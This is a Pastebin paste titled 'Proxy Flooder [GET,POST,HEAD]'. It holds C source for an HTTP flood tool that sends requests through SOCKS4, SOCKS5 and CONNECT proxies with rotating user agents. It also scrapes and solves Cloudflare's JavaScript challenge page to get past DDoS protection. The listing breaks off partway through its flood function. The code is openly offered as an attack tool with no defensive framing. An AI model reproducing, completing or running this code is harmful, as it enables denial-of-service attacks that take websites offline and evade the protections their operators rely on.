Advertisement
D3vBl4ck

Proxy Flooder [GET,POST,HEAD]

Jul 24th, 2017
16,650
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 38.91 KB | None | 0 0
  1. #include <unistd.h>
  2. #include <time.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <sys/resource.h>
  6. #include <sys/ioctl.h>
  7. #include <string.h>
  8. #include <stdlib.h>
  9. #include <stdio.h>
  10. #include <signal.h>
  11. #include <pthread.h>
  12. #include <netinet/udp.h>
  13. #include <netinet/tcp.h>
  14. #include <netinet/ip.h>
  15. #include <netinet/in.h>
  16. #include <netinet/if_ether.h>
  17. #include <netdb.h>
  18. #include <net/if.h>
  19. #include <ctype.h>
  20. #include <arpa/inet.h>
  21.  
  22. #define RND_CHAR (char)((rand() % 26)+97)
  23.  
  24. char *useragents[] = {
  25.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  26.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  27.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  28.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  29.     "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  30.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  31.     "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  32.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  33.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  34.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  35.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  36.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  37.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  38.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  39.     "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  40.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  41.     "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  42.     "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  43.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  44.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  45.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  46.     "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  47.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  48.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  49.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  50.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  51.     "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  52.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  53.     "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  54.     "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  55.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  56.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  57.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  58.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  59.     "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  60.     "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  61.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  62.     "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  63.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  64.     "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  65.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  66.     "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  67.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  68.     "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  69.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  70.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  71.     "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  72.     "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  73. };
  74. #define ATTACKPORT 80
  75. char *postformat = "%s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\n#cookies#%s\r\n%s";
  76. char *postpayload;
  77. struct urlparts {
  78.     char * name;
  79.     char separator[4];
  80.     char value[128];
  81. } parts[] = {
  82.     { "scheme", ":" },
  83.     { "userid", "@" },
  84.     { "password", ":" },
  85.     { "host", "//" },
  86.     { "port", ":" },
  87.     { "path", "/" },
  88.     { "param", ";" },
  89.     { "fragment", "#" }
  90. };
  91. enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
  92. #define NUMPARTS (sizeof parts / sizeof (struct urlparts))
  93. struct urlparts *returnparts[8];
  94. struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
  95. struct proxy { char *type; char *ip; int port; int working; };
  96. struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
  97. struct list *head = NULL;
  98. char parseError[128];
  99. int parseURL(char *url, struct urlparts **returnpart);
  100. char * strsplit(char * s, char * tok);
  101. char firstpunc(char *s);
  102. int strleft(char * s, int n);
  103. void setupparts();
  104. void freeparts();
  105. char *stristr(const char *String, const char *Pattern);
  106. char *str_replace(char *orig, char *rep, char *with);
  107. char *geturl(char *url, char *useragent, char *ip);
  108. int evalmath(char *input);
  109. char *ipstr;
  110. char *urll;
  111. static int rps = 0;
  112. pthread_mutex_t parts_mutex = PTHREAD_MUTEX_INITIALIZER;
  113.  
  114. void removeSubstring(char *s,const char *toremove)
  115. {
  116.     while( s=strstr(s,toremove) )
  117.     {
  118.         memmove(s,s+strlen(toremove),1+strlen(s+strlen(toremove)));
  119.     }
  120. }
  121.  
  122.  
  123. void *flood(void *par) {
  124.     struct list *startpoint = (struct list *)par;
  125.     int i;
  126.     struct sockaddr_in serverAddr;
  127.     signal(SIGPIPE, SIG_IGN);
  128.     char *cookies = malloc(10240);
  129.     memset(cookies, 0, 10240);
  130.    
  131.     while(1)
  132.     {
  133.         int sent = 0;
  134.         if(startpoint->data->working == 0)
  135.         {
  136.             startpoint = startpoint->next;
  137.             continue;
  138.         }
  139.        
  140.         memset(&serverAddr, 0, sizeof(serverAddr));
  141.         serverAddr.sin_family = AF_INET;
  142.         serverAddr.sin_port = htons(startpoint->data->port);
  143.         serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
  144.         int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  145.         u_int yes=1;
  146.         if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
  147.         if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  148.         {
  149.             startpoint->data->working = 0;
  150.             startpoint = startpoint->next;
  151.             continue;
  152.         }
  153.         if(strcmp(startpoint->data->type, "Socks4")==0)
  154.         {
  155.             unsigned char buf[10];
  156.             buf[0] = 0x04;
  157.             buf[1] = 0x01;
  158.             *(unsigned short*)&buf[2] = htons(ATTACKPORT);
  159.             *(unsigned long*)&buf[4] = inet_addr(ipstr);
  160.             buf[8] = 0x00;
  161.             if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
  162.             {
  163.                 startpoint->data->working = 0;
  164.                 startpoint = startpoint->next;
  165.                 close(serverSocket);
  166.                 continue;
  167.             }
  168.         }
  169.         if(strcmp(startpoint->data->type, "Socks5")==0)
  170.         {
  171.             unsigned char buf[20];
  172.             buf[0] = 0x05;
  173.             buf[1] = 0x01;
  174.             buf[2] = 0x00;
  175.             if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
  176.             {
  177.                 startpoint->data->working = 0;
  178.                 startpoint = startpoint->next;
  179.                 close(serverSocket);
  180.                 continue;
  181.             }
  182.             buf[0] = 0x05;
  183.             buf[1] = 0x01;
  184.             buf[2] = 0x00;
  185.             buf[3] = 0x01;
  186.             *(unsigned long*)&buf[4] = inet_addr(ipstr);
  187.             *(unsigned short*)&buf[8] = htons(ATTACKPORT);
  188.             if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
  189.             {
  190.                 startpoint->data->working = 0;
  191.                 startpoint = startpoint->next;
  192.                 close(serverSocket);
  193.                 continue;
  194.             }
  195.         }
  196.         if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0)
  197.         {
  198.             char *connectrequest = malloc(1024);
  199.             bzero(connectrequest, 1024);
  200.             sprintf(connectrequest, "CONNECT %s:80 HTTP/1.0\r\n\r\n", ipstr);
  201.             if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0)
  202.             {
  203.                 startpoint->data->working = 0;
  204.                 startpoint = startpoint->next;
  205.                 close(serverSocket);
  206.                 continue;
  207.             }
  208.             char *recvbuf = malloc(1024);
  209.             bzero(recvbuf, 1024);
  210.             int gotbytes = recv(serverSocket, recvbuf, 1024, 0);
  211.             if(gotbytes < 1)
  212.             {
  213.                 startpoint->data->working = 0;
  214.                 startpoint = startpoint->next;
  215.                 close(serverSocket);
  216.                 continue;
  217.             }
  218.             free(recvbuf);
  219.         }
  220.         char *httpprepayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
  221.         if(httpprepayload == NULL)
  222.         {
  223.             startpoint = startpoint->next;
  224.             close(serverSocket);
  225.             continue;
  226.         }
  227.         char *httppayload = NULL;
  228.         if(strlen(cookies)>0)
  229.         {
  230.             httppayload = str_replace(httpprepayload, "#cookies#", cookies);
  231.             if(httppayload == NULL)
  232.             {
  233.                 startpoint = startpoint->next;
  234.                 close(serverSocket);
  235.                 continue;
  236.             }
  237.             free(httpprepayload);
  238.         } else {
  239.             removeSubstring(httpprepayload, "#cookies#");
  240.             httppayload = httpprepayload;
  241.         }
  242.         char *tmp = NULL;
  243.         char *lastrandom = malloc(16);
  244.         bzero(lastrandom, 16);
  245.         while((tmp = strstr(httppayload, "ANDOM%"))!=NULL)
  246.         {
  247.             if(*(tmp-1) == 0x4C)
  248.             {
  249.                 strncpy(tmp-2, lastrandom, 8);
  250.             } else
  251.             {
  252.                 *(tmp-2) = RND_CHAR;
  253.                 *(tmp-1) = RND_CHAR;
  254.                 *(tmp) = RND_CHAR;
  255.                 *(tmp+1) = RND_CHAR;
  256.                 *(tmp+2) = RND_CHAR;
  257.                 *(tmp+3) = RND_CHAR;
  258.                 *(tmp+4) = RND_CHAR;
  259.                 *(tmp+5) = RND_CHAR;
  260.                 strncpy(lastrandom, tmp-2, 8);
  261.             }
  262.            
  263.         }
  264.         send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
  265.         free(httppayload);
  266.         int bytes = 0;
  267.         int total = 0;
  268.         int currentsize = 4096;
  269.         char *buffer = malloc(4096);
  270.         bzero(buffer, 4096);
  271.         bytes = recv(serverSocket, buffer, 4096, 0);
  272.         while(bytes > 0)
  273.         {
  274.             total += bytes;
  275.             if(total+4096 > currentsize)
  276.             {
  277.                 char *new_buffer = malloc(total+4097);
  278.                 bzero(new_buffer, total+4097);
  279.                 memcpy(new_buffer, buffer, total);
  280.                 free(buffer);
  281.                 buffer = new_buffer;
  282.                 currentsize = total+4096;
  283.             }
  284.             bytes = recv(serverSocket, buffer+total, 4096, 0);
  285.         }
  286.         if(strstr(buffer, "\r\n\r\n")==NULL)
  287.         {
  288.             free(buffer);
  289.             startpoint = startpoint->next;
  290.             close(serverSocket);
  291.             continue;
  292.         }
  293.         char *headerstatus = malloc(strstr(buffer, "\r\n\r\n") - buffer + 3);
  294.         memcpy(headerstatus, buffer, strstr(buffer, "\r\n\r\n") - buffer + 2);
  295.         char *body = buffer + (strstr(buffer, "\r\n\r\n") - buffer + 2) + 2;
  296.         char *headers = strstr(headerstatus, "\r\n")+2;
  297.         if(stristr(body, "DDoS protection by CloudFlare") != NULL && stristr(body, "ChallengeForm") != NULL && stristr(body, "('#jschl_answer').val") != NULL && stristr(body, "jschl_vc") != NULL)
  298.         {
  299.             close(serverSocket);
  300.             //we are pretty sure its a CF block page at this point
  301.             char *formstart = stristr(body, "<form")+5;
  302.             char *formend = stristr(formstart, "</form");
  303.             char *action = stristr(formstart, "action=");
  304.             char *actionname = NULL;
  305.             if(action == NULL || action > formend)
  306.             {
  307.                 actionname = urll;
  308.             } else {
  309.                 char *actionstart = action;
  310.                 if(strchr(actionstart, '"') != NULL && strchr(actionstart, '>') > strchr(actionstart, '"'))
  311.                 {
  312.                     actionstart = strchr(action, '"')+1;
  313.                     actionname = malloc(strchr(actionstart, '"') - actionstart + 1);
  314.                     bzero(actionname, strchr(actionstart, '"') - actionstart + 1);
  315.                     strncpy(actionname, actionstart, strchr(actionstart, '"') - actionstart);
  316.                 } else if(strchr(actionstart, '\'') != NULL && strchr(actionstart, '>') > strchr(actionstart, '\''))
  317.                 {
  318.                     actionstart = strchr(action, '\'')+1;
  319.                     actionname = malloc(strchr(actionstart, '\'') - actionstart + 1);
  320.                     bzero(actionname, strchr(actionstart, '\'') - actionstart + 1);
  321.                     strncpy(actionname, actionstart, strchr(actionstart, '\'') - actionstart);
  322.                 } else {
  323.                     char *end = NULL;
  324.                     if(strchr(actionstart, ' ') > strchr(actionstart, '>'))
  325.                     {
  326.                         end = strchr(actionstart, '>');
  327.                     } else {
  328.                         end = strchr(actionstart, ' ');
  329.                     }
  330.                     actionname = malloc(end - action + 1);
  331.                     bzero(actionname, end - action + 1);
  332.                     strncpy(actionname, action, end - action);
  333.                 }
  334.             }
  335.             if(strcmp(actionname, "") == 0)
  336.             {
  337.                 free(actionname);
  338.                 actionname = urll;
  339.             }
  340.             char *magiccookiestart = stristr(formstart, "name=\"jschl_vc\" value=\"");
  341.             if(magiccookiestart==NULL)
  342.             {
  343.                 free(headerstatus);
  344.                 free(buffer);
  345.                 close(serverSocket);
  346.                 startpoint = startpoint->next;
  347.                 continue;
  348.             }
  349.             magiccookiestart = magiccookiestart+strlen("name=\"jschl_vc\" value=\"");
  350.             char *magiccookie = malloc((stristr(magiccookiestart, "\"")+1)-magiccookiestart+1);
  351.             memset(magiccookie, 0, (stristr(magiccookiestart, "\"")+1)-magiccookiestart+1);
  352.             strncpy(magiccookie, magiccookiestart, stristr(magiccookiestart, "\"")-magiccookiestart);
  353.            
  354.             char *magicsumstart = stristr(body, "('#jschl_answer').val(");
  355.             if(magicsumstart==NULL)
  356.             {
  357.                 free(magiccookie);
  358.                 free(headerstatus);
  359.                 free(buffer);
  360.                 close(serverSocket);
  361.                 startpoint = startpoint->next;
  362.                 continue;
  363.             }
  364.             magicsumstart = magicsumstart+strlen("('#jschl_answer').val(");
  365.             char *temp = malloc(1024);
  366.             memset(temp, 0, 1024);
  367.             strncpy(temp, magicsumstart, strstr(magicsumstart, ")")-magicsumstart);
  368.             magicsumstart = temp;
  369.            
  370.             int sum = 0;
  371.             sum = evalmath(magicsumstart);
  372.            
  373.             char *verifydata = malloc(1024);
  374.             memset(verifydata, 0, 1024);
  375.             strcat(verifydata, "act=jschl&jschl_vc=");
  376.             strcat(verifydata, magiccookie);
  377.             strcat(verifydata, "&jschl_answer=");
  378.             char *sumstring = malloc(100);
  379.             memset(sumstring, 0, 100);
  380.             sprintf(sumstring, "%d", sum);
  381.             strcat(verifydata, sumstring);
  382.            
  383.             free(sumstring);
  384.             char *verifypost = malloc(4096);
  385.             memset(verifypost, 0, 4096);
  386.             free(buffer);
  387.             free(magicsumstart);
  388.             free(magiccookie);
  389.            
  390.             char *cookit = NULL;
  391.             memset(cookies, 0, 10240);
  392.             strcpy(cookies, "Cookie: ");
  393.             int offset = 0;
  394.             while(stristr(headers+offset, "Set-Cookie: ") != NULL)
  395.             {
  396.                 cookit = stristr(headers, "Set-Cookie: ")+strlen("Set-Cookie: ");
  397.                 char *cookitend = stristr(cookit, "\r\n")>stristr(cookit, ";") ? stristr(cookit, ";") : stristr(cookit, "\r\n");
  398.                 if(cookitend-cookit<1)
  399.                 {
  400.                     continue;
  401.                 }
  402.                 char *temp = malloc((cookitend-cookit)+3);
  403.                 bzero(temp, (cookitend-cookit)+3);
  404.                 strncpy(temp, cookit, cookitend-cookit);
  405.                 strcat(temp, "; ");
  406.                 if(strstr(cookies, temp)==NULL)
  407.                 {
  408.                     strncpy(cookies+strlen(cookies), temp, strlen(temp));
  409.                 }
  410.                 offset += strstr(cookit, "\r\n")-cookit;
  411.             }
  412.             strcat(cookies, "\r\n");
  413.             free(headerstatus);
  414.            
  415.             pthread_mutex_lock(&parts_mutex);
  416.             setupparts();
  417.             parseURL(actionname, returnparts);
  418.             char *herpderp = "POST /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n%sContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\n\r\n%s";
  419.             sprintf(verifypost, herpderp, returnparts[path]->value, returnparts[host]->value, startpoint->useragent, cookies, strlen(verifydata), verifydata);
  420.             freeparts();
  421.             free(verifydata);
  422.             pthread_mutex_unlock(&parts_mutex);
  423.            
  424.             memset(&serverAddr, 0, sizeof(serverAddr));
  425.             serverAddr.sin_family = AF_INET;
  426.             serverAddr.sin_port = htons(startpoint->data->port);
  427.             serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
  428.             serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  429.             yes=1;
  430.             if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
  431.            
  432.             if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  433.             {
  434.                 startpoint->data->working = 0;
  435.                 startpoint = startpoint->next;
  436.                 continue;
  437.             }
  438.             if(strcmp(startpoint->data->type, "Socks4")==0)
  439.             {
  440.                 unsigned char buf[10];
  441.                 buf[0] = 0x04;
  442.                 buf[1] = 0x01;
  443.                 *(unsigned short*)&buf[2] = htons(ATTACKPORT);
  444.                 *(unsigned long*)&buf[4] = inet_addr(ipstr);
  445.                 buf[8] = 0x00;
  446.                 if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
  447.                 {
  448.                     startpoint->data->working = 0;
  449.                     startpoint = startpoint->next;
  450.                     close(serverSocket);
  451.                     continue;
  452.                 }
  453.             }
  454.             if(strcmp(startpoint->data->type, "Socks5")==0)
  455.             {
  456.                 unsigned char buf[20];
  457.                 buf[0] = 0x05;
  458.                 buf[1] = 0x01;
  459.                 buf[2] = 0x00;
  460.                 if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
  461.                 {
  462.                     startpoint->data->working = 0;
  463.                     startpoint = startpoint->next;
  464.                     close(serverSocket);
  465.                     continue;
  466.                 }
  467.                 buf[0] = 0x05;
  468.                 buf[1] = 0x01;
  469.                 buf[2] = 0x00;
  470.                 buf[3] = 0x01;
  471.                 *(unsigned long*)&buf[4] = inet_addr(ipstr);
  472.                 *(unsigned short*)&buf[8] = htons(ATTACKPORT);
  473.                 if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
  474.                 {
  475.                     startpoint->data->working = 0;
  476.                     startpoint = startpoint->next;
  477.                     close(serverSocket);
  478.                     continue;
  479.                 }
  480.             }
  481.             if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0)
  482.             {
  483.                 char *connectrequest = malloc(1024);
  484.                 bzero(connectrequest, 1024);
  485.                 sprintf(connectrequest, "CONNECT %s:80 HTTP/1.0\r\n\r\n", ipstr);
  486.                 if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0)
  487.                 {
  488.                     startpoint->data->working = 0;
  489.                     startpoint = startpoint->next;
  490.                     close(serverSocket);
  491.                     continue;
  492.                 }
  493.                 char *recvbuf = malloc(1024);
  494.                 bzero(recvbuf, 1024);
  495.                 int gotbytes = recv(serverSocket, recvbuf, 1024, 0);
  496.                 if(gotbytes < 1)
  497.                 {
  498.                     startpoint->data->working = 0;
  499.                     startpoint = startpoint->next;
  500.                     close(serverSocket);
  501.                     continue;
  502.                 }
  503.                 free(recvbuf);
  504.             }
  505.             send(serverSocket, verifypost, strlen(verifypost), MSG_NOSIGNAL);
  506.             free(verifypost);
  507.             bytes = 0;
  508.             buffer = malloc(4097);
  509.             bzero(buffer, 4097);
  510.             bytes = recv(serverSocket, buffer, 4096, 0);
  511.             while(bytes > 0)
  512.             {
  513.                 total += bytes;
  514.                 if(total+4096 > currentsize)
  515.                 {
  516.                     char *new_buffer = malloc(total+4097);
  517.                     bzero(new_buffer, total+4097);
  518.                     memcpy(new_buffer, buffer, total);
  519.                     free(buffer);
  520.                     buffer = new_buffer;
  521.                     currentsize = total+4096;
  522.                 }
  523.                 bytes = recv(serverSocket, buffer+total, 4096, 0);
  524.             }
  525.             if(strstr(buffer, "\r\n\r\n")==NULL)
  526.             {
  527.                 free(buffer);
  528.                 startpoint = startpoint->next;
  529.                 close(serverSocket);
  530.                 continue;
  531.             }
  532.            
  533.             headerstatus = malloc(strstr(buffer, "\r\n\r\n") - buffer + 3);
  534.             memcpy(headerstatus, buffer, strstr(buffer, "\r\n\r\n") - buffer + 2);
  535.             body = buffer + (strstr(buffer, "\r\n\r\n") - buffer + 2) + 2;
  536.             headers = stristr(headerstatus, "\r\n")+2;
  537.             char *cookoff = strstr(cookies, "\r\n");
  538.             if(cookoff == NULL)
  539.             {
  540.                 free(headerstatus);
  541.                 free(buffer);
  542.                 startpoint = startpoint->next;
  543.                 close(serverSocket);
  544.                 continue;
  545.             }
  546.             offset = 0;
  547.             while(stristr(headers+offset, "Set-Cookie: ") != NULL)
  548.             {
  549.                 cookit = stristr(headers, "Set-Cookie: ")+strlen("Set-Cookie: ");
  550.                 char *cookitend = stristr(cookit, "\r\n")>stristr(cookit, ";") ? stristr(cookit, ";") : stristr(cookit, "\r\n");
  551.                 char *cookiesend = strstr(cookies, "\r\n");
  552.                 if(cookitend-cookit<1)
  553.                 {
  554.                     continue;
  555.                 }
  556.                 char *temp = malloc((cookitend-cookit)+3);
  557.                 bzero(temp, (cookitend-cookit)+1);
  558.                 strncpy(temp, cookit, cookitend-cookit);
  559.                 strcat(temp, "; ");
  560.                 if(strstr(cookies, temp)==NULL)
  561.                 {
  562.                     strncpy(cookies+(cookiesend-cookies), temp, strlen(temp));
  563.                     strcat(cookies, "\r\n");
  564.                 }
  565.                 offset += strstr(cookit, "\r\n")-cookit;
  566.             }
  567.             close(serverSocket);
  568.            
  569.             memset(&serverAddr, 0, sizeof(serverAddr));
  570.             serverAddr.sin_family = AF_INET;
  571.             serverAddr.sin_port = htons(startpoint->data->port);
  572.             serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
  573.             serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  574.             yes=1;
  575.             if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
  576.             if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  577.             {
  578.                 startpoint->data->working = 0;
  579.                 startpoint = startpoint->next;
  580.                 continue;
  581.             }
  582.             if(strcmp(startpoint->data->type, "Socks4")==0)
  583.             {
  584.                 unsigned char buf[10];
  585.                 buf[0] = 0x04;
  586.                 buf[1] = 0x01;
  587.                 *(unsigned short*)&buf[2] = htons(ATTACKPORT);
  588.                 *(unsigned long*)&buf[4] = inet_addr(ipstr);
  589.                 buf[8] = 0x00;
  590.                 if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
  591.                 {
  592.                     startpoint->data->working = 0;
  593.                     startpoint = startpoint->next;
  594.                     close(serverSocket);
  595.                     continue;
  596.                 }
  597.             }
  598.             if(strcmp(startpoint->data->type, "Socks5")==0)
  599.             {
  600.                 unsigned char buf[20];
  601.                 buf[0] = 0x05;
  602.                 buf[1] = 0x01;
  603.                 buf[2] = 0x00;
  604.                 if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
  605.                 {
  606.                     startpoint->data->working = 0;
  607.                     startpoint = startpoint->next;
  608.                     close(serverSocket);
  609.                     continue;
  610.                 }
  611.                 buf[0] = 0x05;
  612.                 buf[1] = 0x01;
  613.                 buf[2] = 0x00;
  614.                 buf[3] = 0x01;
  615.                 *(unsigned long*)&buf[4] = inet_addr(ipstr);
  616.                 *(unsigned short*)&buf[8] = htons(ATTACKPORT);
  617.                 if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
  618.                 {
  619.                     startpoint->data->working = 0;
  620.                     startpoint = startpoint->next;
  621.                     close(serverSocket);
  622.                     continue;
  623.                 }
  624.             }
  625.             if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0)
  626.             {
  627.                 char *connectrequest = malloc(1024);
  628.                 bzero(connectrequest, 1024);
  629.                 sprintf(connectrequest, "CONNECT %s:80 HTTP/1.0\r\n\r\n", ipstr);
  630.                 if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0)
  631.                 {
  632.                     startpoint->data->working = 0;
  633.                     startpoint = startpoint->next;
  634.                     close(serverSocket);
  635.                     continue;
  636.                 }
  637.                 char *recvbuf = malloc(1024);
  638.                 bzero(recvbuf, 1024);
  639.                 int gotbytes = recv(serverSocket, recvbuf, 1024, 0);
  640.                 if(gotbytes < 1)
  641.                 {
  642.                     startpoint->data->working = 0;
  643.                     startpoint = startpoint->next;
  644.                     close(serverSocket);
  645.                     continue;
  646.                 }
  647.                 free(recvbuf);
  648.             }
  649.             httpprepayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
  650.             if(httpprepayload == NULL)
  651.             {
  652.                 startpoint = startpoint->next;
  653.                 close(serverSocket);
  654.                 continue;
  655.             }
  656.             httppayload = NULL;
  657.             if(strlen(cookies)>0)
  658.             {
  659.                 httppayload = str_replace(httpprepayload, "#cookies#", cookies);
  660.                 if(httppayload == NULL)
  661.                 {
  662.                     startpoint = startpoint->next;
  663.                     close(serverSocket);
  664.                     continue;
  665.                 }
  666.                 free(httpprepayload);
  667.             } else {
  668.                 removeSubstring(httpprepayload, "#cookies#");
  669.                 httppayload = httpprepayload;
  670.             }
  671.             tmp = NULL;
  672.             lastrandom = malloc(16);
